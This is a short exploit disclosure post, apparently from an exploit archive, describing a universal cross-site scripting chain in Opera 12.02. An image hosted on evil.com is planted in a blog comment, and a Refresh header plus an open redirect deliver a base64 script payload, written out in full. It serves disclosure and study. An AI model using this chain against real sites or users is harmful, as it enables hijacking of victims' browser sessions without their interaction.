# Exploit Title: Opera image/svg+xml UXSS
# Date: 06.10.2012
# Exploit Author: volema.com
# Author homepage: http://blog.volema.com
# Vendor Homepage: opera.com
# Version: Opera 12.02
# Tested on: Windows
# CVE : NO

[ Full disclosure - http://blog.volema.com/opera-svg-xml-shortcut-uxss.html ]

We'll exploit the process of handling 'image/svg+xml' Content-Type with the Refresh server response header.
Also we'll use recently-published 0-day Opera XSS vulnerability (which requires a victim to click the malicious link manually)

All that present us UXSS exploit without any user interaction.

HOW-TO:

We should have the permissions to post any images to target site and there is also a script that allows us to yield any HTTP redirects.
The victim visits http://target.com/blog/ where the malicious <img> is placed in the comment section.

<img src="http://evil.com/evil.png" />

When the browser tries to access 'evil.png', the malicious script responds with an exploit:

Refresh: 0; url=data:application/internet-shortcut,%5BInternetShortcut%5D%0D%0AURL%3Dhttp%3A%2F%2Ftarget.com%2Fopenredirect%3Fparam%3Ddata%3Atext%2Fhtml%3Bbase64%2CPHNjcmlwdD5hbGVydChkb2N1bWVudC5kb21haW4pOzwvc2NyaXB0Pg%3D%3D
Content-Type: image/svg+xml;

<svg xmlns="http://www.w3.org/2000/svg" version="1.1" />

Then Opera interprets internet shortcut from Refresh header data and redirects the victum to

http://target.com/openredirect?param=data%3atext%2fhtml%3bbase64%2cPHNjcmlwdD5hbGVydChkb2N1bWVudC5kb21haW4pOzwvc2NyaXB0Pg%3d%3d

This URL has an exploit for UXSS 0-day Opera vulnerability embedded in it.